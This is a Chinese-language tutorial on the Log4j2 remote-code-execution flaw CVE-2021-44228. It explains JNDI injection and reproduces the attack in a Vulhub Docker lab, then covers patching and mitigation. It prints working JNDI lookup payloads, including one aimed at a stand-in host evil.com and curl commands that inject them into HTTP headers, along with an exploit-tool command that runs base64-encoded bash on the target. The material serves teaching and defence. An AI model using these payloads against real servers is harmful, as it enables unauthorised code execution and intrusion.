Log4j2漏洞深度解析:从JNDI注入原理到实战复现与修复

📅 2026/7/6 19:59:51 👁️ 阅读次数 📝 编程学习
Log4j2漏洞深度解析:从JNDI注入原理到实战复现与修复

1. 项目概述:一次对Log4j2史诗级漏洞的深度剖析与实战复现

如果你在2021年底关注过安全圈,那么“Log4j2漏洞”这个词绝对会让你心头一紧。这不仅仅是一个漏洞,它更像是一场席卷全球互联网的“数字海啸”。CVE-2021-44228,这个编号背后,是一个存在于Apache Log4j2核心日志记录功能中的远程代码执行漏洞。它的可怕之处在于,攻击者无需任何身份认证,只需要让应用记录下一段精心构造的日志信息,就能在服务器上为所欲为。一时间,从大型云服务商到无数中小企业的自研系统,都陷入了紧急排查和修复的恐慌之中。

今天,我们就来彻底拆解这个漏洞。我不会只给你一个模糊的概念,而是带你从根儿上理解它为什么能发生,然后手把手在Vulhub这个优秀的漏洞靶场环境中,把它完整地复现出来。无论你是安全研究员、开发工程师还是运维人员,理解这个漏洞的原理和利用过程,不仅能让你深刻认识到安全编码和依赖管理的重要性,更能让你掌握一套分析、验证此类JNDI注入漏洞的通用方法论。我们这就开始,从原理到实战,一步步揭开它的面纱。

2. 漏洞原理深度解析:为什么一段日志能执行命令?

要理解Log4j2漏洞,你必须先跳出“日志只是记录文本”的固有思维。在现代Java框架中,日志系统为了提供强大的灵活性,允许在日志消息中嵌入动态表达式,以便在输出时解析并替换成运行时信息,比如当前用户名、系统属性等。Log4j2通过“查找”(Lookup)功能来实现这一点,而漏洞就藏在这个功能的实现细节里。

2.1 核心祸根:JNDI查找与无条件解析

Log4j2支持一种叫做${prefix:name}的语法来进行查找。例如,${java:version}会输出Java版本。其中一种查找类型就是JNDI(Java Naming and Directory Interface)。设计初衷是好的,比如允许从配置的目录服务中动态获取数据源连接字符串。然而,问题出在解析的触发条件过于宽泛

当Log4j2在记录日志时,如果发现日志消息中包含${,它就会尝试去解析其中的内容。关键在于,这个解析过程发生在消息被记录的任何地方——包括用户直接可控的输入,比如HTTP请求头(User-Agent, X-Forwarded-For)、请求参数、表单数据等。只要这些数据被日志框架记录(而99%的应用都会记录请求信息),攻击的入口就打开了。

攻击者可以提交这样一个Payload:${jndi:ldap://evil.com/a}。Log4j2在记录这条日志时,会识别出${,并尝试解析。它发现这是jndi查找,于是便会无条件地通过JNDI接口,去连接evil.com的LDAP服务,并请求名为a的资源。

注意:这里有一个巨大的安全假设被打破了。日志框架默认信任了日志消息的内容,并对其执行了可能导致网络访问和代码加载的敏感操作,而没有考虑消息来源的不可信性。

2.2 JNDI注入:从远程地址到本地代码执行

仅仅让应用去连接一个远程LDAP服务器还不够,关键在于如何让这个连接导致代码执行。这就涉及到JNDI注入的经典攻击链。

  1. 恶意LDAP服务器响应:当Log4j2客户端(即存在漏洞的应用)向evil.com的LDAP服务发起查询时,攻击者控制的LDAP服务器可以返回一个特殊的JNDI引用(Reference)对象。
  2. 引用对象指向恶意Class:这个Reference对象中包含一个远程的代码库地址(Codebase URL),例如http://evil.com/Exploit.class。它告诉客户端:“你要的资源在我这里没有,但你可以去这个URL下载一个Java类,那个类能构造出你要的对象”。
  3. 客户端加载并实例化恶意类:存在漏洞的Java应用在收到这个Reference后,会根据其中指示的URL,去远程HTTP服务器下载Exploit.class文件。然后,使用本地的类加载器加载这个类,并调用其构造方法。
  4. 命令执行:攻击者编写的Exploit.class的静态代码块或构造方法中,可以包含任意Java代码,例如Runtime.getRuntime().exec(“calc.exe”)。一旦类被加载和初始化,这些代码就会在应用进程的上下文中执行,从而实现远程代码执行。

简单来说,攻击者通过日志消息“骗”应用去访问一个恶意目录服务,目录服务“骗”应用去下载并执行一个恶意Java类,从而完成攻击。

2.3 JDK版本与防御机制的博弈

这个漏洞的利用并非在所有环境下都畅通无阻,它受到Java运行环境(JDK)版本的限制。这是因为历史上JNDI注入问题频发,Oracle在JDK中逐步增加了安全限制:

  • JDK 6u45, 7u21之后:默认设置了com.sun.jndi.rmi.object.trustURLCodebase=false,但主要限制RMI协议。
  • JDK 6u141, 7u131, 8u121之后:增加了com.sun.jndi.rmi.object.trustURLCodebase属性,默认false基本封死了通过RMI协议加载远程类的途径
  • JDK 6u211, 7u201, 8u191之后:增加了com.sun.jndi.ldap.object.trustURLCodebase属性,默认false进一步封死了通过LDAP协议加载远程类的途径

这意味着,在较高版本的JDK(默认配置)下,直接使用ldap://rmi://加载远程字节码的利用方式会失败。但是,这并没有让漏洞变得无害:

  1. 低版本JDK依然大量存在:很多传统企业应用仍运行在旧版JDK上。
  2. 绕过手段出现:安全研究人员发现了在目标ClassPath中寻找已知的、可利用的类进行“链式”攻击的方法(例如,利用Tomcat依赖中的ELProcessor类实现EL表达式注入),从而在不加载远程类的情况下执行代码。
  3. 其他向量:除了LDAP/RMI,JNDI还支持其他协议,在某些特定配置下可能被利用。

因此,绝不能仅依赖高版本JDK来防御此漏洞。最根本的解决方案是升级Log4j2组件本身。

3. 环境搭建与靶场部署

理解了原理,我们进入实战环节。为了安全、可重复地复现漏洞,我们使用Docker和Vulhub。Vulhub是一个开源的漏洞靶场集合,它为我们提供了预配置好的漏洞环境,省去了自己搭建脆弱应用的麻烦。

3.1 基础环境准备

你需要一台安装好Docker和Docker Compose的Linux机器(如Ubuntu 20.04/22.04, CentOS 7/8)。我个人推荐使用虚拟机进行操作,与宿主机网络隔离。

首先,更新系统并安装必要的工具:

sudo apt-get update sudo apt-get install -y docker.io docker-compose git curl

确保Docker服务已启动:

sudo systemctl start docker sudo systemctl enable docker

3.2 获取并启动Vulhub的Log4j2漏洞环境

Vulhub的使用非常简便。我们直接克隆项目并找到对应的漏洞环境。

# 1. 克隆Vulhub仓库 git clone https://github.com/vulhub/vulhub.git cd vulhub # 2. 进入Log4j2漏洞目录 cd log4j/CVE-2021-44228 # 3. 使用docker-compose一键启动环境 sudo docker-compose up -d

执行上述命令后,Docker会拉取镜像并启动一个包含漏洞的简单Spring Boot Web应用。通常它会在本地的8080端口启动。

你可以通过以下命令检查容器是否正常运行:

sudo docker-compose ps

应该能看到一个名为cve-2021-44228的容器状态为Up

3.3 靶场应用功能验证

在浏览器中访问http://your_vm_ip:8080。你会看到一个非常简单的Web界面,可能只有一个输入框和一个提交按钮,或者是一个显示“Hello World”的页面。这个应用的核心功能是:它会将你访问时的某些信息(如User-Agent、请求参数)用Log4j2记录下来。

为了验证应用是否正常工作并开启了日志,我们可以用curl发送一个请求,并观察Docker容器的日志。

# 发送一个GET请求到靶场 curl http://127.0.0.1:8080 # 查看靶场容器的日志输出 sudo docker-compose logs --tail=10

如果能在日志中看到类似于”Received a request for /“这样的记录,说明靶场应用运行正常,并且正在使用Log4j2记录日志。这是我们攻击成功的前提。

实操心得:在搭建环境时,最常见的问题是端口冲突。如果8080端口被占用,你可以修改docker-compose.yml文件,将”8080:8080″改为”8081:8080″或其他未被占用的端口。修改后需要运行docker-compose down然后再次docker-compose up -d重建容器。

4. 攻击工具准备与恶意服务器搭建

现在,我们需要准备两样东西:一个能接收漏洞应用JNDI请求的恶意LDAP服务器,以及一个托管恶意Java类的HTTP服务器。幸运的是,有现成的工具可以同时完成这两项工作。这里我们使用最经典的JNDI-Injection-Exploit工具。

4.1 编译JNDI-Injection-Exploit工具

这个工具是一个Java项目,我们需要先编译它。

# 1. 回到一个工作目录,例如 /tmp cd /tmp # 2. 克隆工具仓库 git clone https://github.com/welk1n/JNDI-Injection-Exploit.git cd JNDI-Injection-Exploit # 3. 编译项目。需要本地已安装JDK 8+和Maven。 # 如果没装Maven,可以安装:sudo apt-get install maven mvn clean package -DskipTests

编译完成后,在target目录下会生成一个可执行的JAR包:JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar。这个工具功能强大,它可以启动一个集成的恶意LDAP服务器,并根据我们的需要生成对应的Payload,还能自动托管恶意class文件。

4.2 生成并启动恶意LDAP服务

假设我们攻击机的IP地址是192.168.1.100,我们想让靶机执行命令touch /tmp/log4j_hacked,在/tmp目录下创建一个文件作为攻击成功的证明。

我们需要将命令转换为Payload。由于工具需要通过RMI或LDAP协议传递命令,通常我们需要对命令进行Base64编码,以避免特殊字符引起的问题。

# 对要执行的命令进行Base64编码 echo -n "touch /tmp/log4j_hacked" | base64 # 输出类似:dG91Y2ggL3RtcC9sb2c0al9oYWNrZWQ=

现在,启动JNDI利用工具:

# 进入target目录 cd target # 启动工具,-C 指定要执行的命令(Base64格式),-A 指定攻击机(LDAP服务器)IP java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “bash -c {echo,dG91Y2ggL3RtcC9sb2c0al9oYWNrZWQ=}|{base64,-d}|{bash,-i}” -A “192.168.1.100”

参数解释

  • -C:指定要执行的命令。这里使用了Bash的管道技巧:将Base64字符串解码后传递给bash执行。{echo, ...}|{base64,-d}|{bash,-i}是工具要求的固定格式。
  • -A:指定服务器IP,工具会在这个IP上监听LDAP等服务。

执行命令后,工具会启动并在终端显示如下信息:

[+] LDAP Server Start Listening on 1389… [+] HTTP Server Start Listening on 8080… [+] … [+] Payload: ${jndi:ldap://192.168.1.100:1389/xxxxxx}

请记下它生成的Payload(最后一行),其中的xxxxxx是一个随机字符串,对应LDAP服务中的一个特定资源项。这个Payload就是我们待会儿要注入到日志中的字符串。

注意事项:工具启动的HTTP服务默认在8080端口,这可能和你的靶场端口冲突。如果冲突,工具启动时会报错。你可以通过-H参数指定另一个HTTP端口,例如-H 8888。同时,要确保服务器的防火墙(如云服务器的安全组)放行了你使用的LDAP(1389)和HTTP(默认8080或你指定的)端口。

5. 漏洞利用实战:触发与验证

万事俱备,只欠东风。现在我们需要让存在漏洞的靶场应用,去记录我们精心构造的Payload。

5.1 探测漏洞是否存在(无回显验证)

在发起真正的攻击前,最好先确认漏洞是否存在。我们可以使用DNSLog这种外带信息平台进行无回显探测。DNSLog会给我们一个临时域名,如果目标应用解析了这个域名,就说明它确实执行了JNDI查找,漏洞存在。

  1. 访问dnslog.cn(或ceye.io),获取一个临时子域名,例如abc123.dnslog.cn
  2. 构造一个用于探测的Payload:${jndi:ldap://abc123.dnslog.cn/test}。这里我们让靶机去连接abc123.dnslog.cn这个LDAP地址。
  3. 将这个Payload作为HTTP请求的一部分发送给靶场。由于靶场通常会将请求头(如User-AgentX-Forwarded-ForX-Api-Version)记录到日志,我们可以通过Burp Suite、Curl或浏览器插件修改请求头。

以Curl为例(假设靶场IP为192.168.1.200:8080):

curl -H “User-Agent: ${jndi:ldap://abc123.dnslog.cn/test}” http://192.168.1.200:8080

或者更常见地,攻击一个特定的触发点(根据Vulhub环境,可能是X-Api-Version头):

curl -H “X-Api-Version: ${jndi:ldap://abc123.dnslog.cn/test}” http://192.168.1.200:8080
  1. 发送请求后,回到DNSLog平台,点击“Refresh”或查看记录。如果很快看到一条来自你靶机IP的DNS解析记录,那么恭喜,漏洞确认存在!

5.2 发起真实攻击,执行远程命令

确认漏洞存在后,我们就可以使用之前准备好的、指向我们恶意服务器的真实Payload了。

使用Curl发送包含恶意Payload的请求:

# 将下面的Payload替换成你工具生成的那个 curl -H “X-Api-Version: ${jndi:ldap://192.168.1.100:1389/xxxxxx}” http://192.168.1.200:8080

发送请求的瞬间,观察运行JNDI-Injection-Exploit的终端窗口。你应该能看到类似以下的连接和请求日志:

[+] Received LDAP Query: xxxxxx [+] Send LDAP ResourceRef result for xxxxxx with basic remote reference payload [+] HTTP Server Receive Request: /Exploit.class [+] Send malicious class file Exploit.class to /xx.xx.xx.xx:xxxxx

这表示靶机成功连接了我们的恶意LDAP服务器,并下载了Exploit.class文件。

5.3 验证命令执行结果

现在,我们需要进入靶场容器内部,验证命令是否成功执行。

# 1. 找到靶场容器的ID或名称 sudo docker ps | grep log4j # 2. 进入容器内部 sudo docker exec -it <容器ID或名称> /bin/bash # 3. 检查 /tmp 目录下是否创建了文件 ls -la /tmp/ | grep log4j_hacked

如果看到log4j_hacked这个文件,那么恭喜你,远程代码执行(RCE)成功复现!你已经证明了攻击者可以通过这个漏洞在服务器上创建任意文件。同理,攻击者可以执行wget下载木马、curl外传数据、bash反弹shell等更危险的操作。

实操心得:在复现过程中,最容易卡住的地方是网络连通性。确保你的攻击机(运行JNDI工具)、靶机(运行Vulhub容器)和DNSLog服务器(如果用了)之间网络是互通的。如果都在同一台物理机的不同Docker容器里,要注意Docker的网络模式(默认的bridge模式容器间是互通的,但IP是Docker网桥分配的,不是宿主机的IP)。使用docker network inspect bridge查看容器IP,并在启动JNDI工具时使用对应容器的IP地址。

6. 漏洞修复与缓解方案深度解读

复现漏洞是为了更好地防御它。Log4j2漏洞的修复是一个多层次的工作,需要根据实际情况选择。

6.1 根本解决方案:升级Log4j2版本

这是最彻底、最推荐的方法。Apache官方发布了多个安全版本修复此漏洞:

  • Log4j 2.16.0: 彻底禁用了默认的JNDI查找功能,并移除了对消息查找的支持(即默认不解析${)。这是最安全的升级目标。
  • Log4j 2.12.2: 针对仍在维护的2.12.x分支的修复版本。
  • Log4j 2.3.1: 针对古老的2.3.x分支的修复版本(适用于Java 6)。

升级步骤

  1. 识别依赖:使用Maven、Gradle的依赖树分析命令(mvn dependency:treegradle dependencies)或专门的SCA(软件成分分析)工具,找出项目中所有引入log4j-corelog4j-api的地方。
  2. 修改配置:在构建配置文件(pom.xml,build.gradle)中,将Log4j2相关依赖的版本号强制升级到安全版本。
    <!-- Maven 示例 --> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.17.1</version> <!-- 使用较新的2.17.1,修复了后续其他漏洞 --> </dependency> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-api</artifactId> <version>2.17.1</version> </dependency>
  3. 测试回归:升级后必须进行全面的功能和回归测试,因为2.16.0版本的行为变更可能影响某些依赖于消息查找的旧代码。

6.2 临时缓解措施(如果无法立即升级)

在紧急情况下或升级存在困难时,可以采用以下缓解方案,但它们都存在局限性,应视为临时手段。

缓解措施操作方法优点缺点与风险
修改JVM参数启动应用时添加参数:
-Dlog4j2.formatMsgNoLookups=true
简单快捷,对应用无侵入。仅对Log4j 2.10.0及以上版本有效。低于此版本的无效。
移除JndiLookup类从log4j-core的JAR包中删除该类:
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
直接移除漏洞代码,比较彻底。属于破坏性操作,可能影响依赖此类的功能(虽然正常不用)。需对所有部署包进行操作。
升级JDK版本将运行环境JDK升级至6u211,7u201,8u191,11.0.1以上。能防御基于远程代码库加载的利用方式。不能完全防御!无法防御利用本地ClassPath中已有类的“链式”攻击(如Tomcat EL注入绕过)。且升级JDK风险高。
网络防火墙限制在服务器或网络边界防火墙出站规则中,禁止应用服务器主动向外部发起LDAP/RMI连接(端口389、636、1099等)。能阻断漏洞利用的关键网络请求。配置复杂,可能影响应用正常的JNDI功能(如连接内网LDAP)。属于外围防护。
使用安全产品部署WAF(Web应用防火墙),添加针对${jndi:等特征的过滤规则。可以快速全局防护。可能存在规则绕过(如大小写变形、嵌套编码)。且WAF可能不覆盖内部服务间调用。

6.3 安全开发最佳实践

从这次事件中,我们可以吸取更深层次的教训:

  1. 谨慎使用动态日志内容:避免记录不可信的用户输入。如果必须记录,应进行严格的过滤和转义。
  2. 最小化依赖与持续更新:定期梳理和更新项目依赖,移除不必要的库,并对核心安全依赖(如日志框架、序列化库、网络框架)保持高度关注,及时应用安全补丁。
  3. 使用安全默认配置:框架和库的“功能强大”往往伴随着安全风险。在引入新组件时,应优先了解其安全配置,并采用最严格的默认设置。
  4. 纵深防御:不要依赖单一安全措施。结合安全的编码实践、及时的补丁管理、网络隔离、入侵检测系统(IDS)和运行时应用自我保护(RASP)等多层防护。

7. 常见问题与排查技巧实录

在复现和修复过程中,你可能会遇到各种问题。这里我总结了一些典型情况和排查思路。

7.1 复现过程中的问题

问题1:发送Payload后,JNDI工具终端没有任何连接日志。

  • 排查思路
    1. 网络检查:确保靶机到攻击机的IP和端口是可达的。可以在靶机容器内执行telnet <攻击机IP> 1389测试LDAP端口连通性,telnet <攻击机IP> 8080测试HTTP端口。
    2. Payload检查:确认发送的Payload与JNDI工具生成的完全一致,特别是随机字符串部分。注意URL编码问题,如果通过浏览器地址栏或未编码的GET参数发送,特殊字符(如{}:)可能被错误解析。建议使用Burp Suite或Curl的-H参数直接发送原始Payload。
    3. 触发点检查:确认你注入的HTTP头或参数是靶场应用确实会记录到日志的。尝试多个不同的位置,如User-Agent,X-Forwarded-For,Referer,Cookie,以及所有的GET/POST参数。
    4. 靶场日志级别:检查靶场应用的Log4j2配置,确保记录你攻击请求的日志级别(如INFO, WARN)是开启的。可以查看容器日志docker-compose logs -f,看普通请求是否有日志输出。

问题2:JNDI工具收到LDAP查询,但HTTP请求没有收到/Exploit.class的下载请求。

  • 排查思路
    1. JDK版本:这是最常见的原因。进入靶场容器,运行java -version。如果版本高于8u191/11.0.1,且默认安全设置未更改,则LDAP远程加载类被禁止。此时需要尝试绕过方式。
    2. 使用绕过Payload:JNDI-Injection-Exploit工具也支持生成针对高版本JDK的绕过Payload(如利用Tomcat EL)。在启动工具时,可以尝试使用-B参数指定绕过类型(具体参考工具文档)。或者,寻找其他专门针对高版本JDK的利用工具。
    3. 防火墙/安全组:再次确认攻击机的HTTP服务端口(默认8080)是否对靶机开放。

问题3:命令执行成功,但没看到效果(如文件没创建)。

  • 排查思路
    1. 命令上下文:你执行的命令是在运行Java应用的进程用户权限下执行的。检查该用户是否有权限在/tmp下创建文件。可以尝试执行whoami命令查看用户。
    2. 命令路径:确保使用的命令在容器环境中存在。比如容器是精简的Alpine Linux镜像,可能没有bash,只有sh。你的Payload命令需要适配容器内的环境。
    3. 输出重定向:你执行的命令可能失败了,但错误输出被丢弃。可以尝试将命令输出重定向到一个文件来调试,例如:touch /tmp/test.txt 2>&1

7.2 修复过程中的问题

问题:升级Log4j2后,应用启动报错或部分日志功能异常。

  • 排查思路
    1. 版本兼容性:Log4j2 2.16.0+ 移除了消息查找功能。如果你的应用代码或某些第三方库直接使用了${xxx:这样的语法在日志消息中(而不是在配置文件中),升级后这些日志可能无法正常输出或报错。需要全局搜索代码中的Logger.info/debug等方法,排查是否有此类用法,并重构代码。
    2. 配置语法变更:检查log4j2.xmllog4j2.properties配置文件,确保其语法与新版本兼容。官方文档提供了详细的迁移指南。
    3. 依赖冲突:确保所有模块使用的Log4j2版本一致。使用mvn dependency:tree -Dincludes=org.apache.logging.log4j仔细检查,排除掉老版本的传递依赖。

复现Log4j2漏洞的过程,是一次绝佳的安全意识教育。它清晰地展示了,一个看似无害的基础组件、一个为了方便而设计的功能,在特定条件下会演变成多么致命的攻击链。作为开发者,我们应当对引入的每一个外部依赖保持敬畏;作为运维人员,建立快速的漏洞响应和修复流程至关重要。这个漏洞虽然已过去数年,但其原理和教训,将在未来很长一段时间内,持续为软件安全敲响警钟。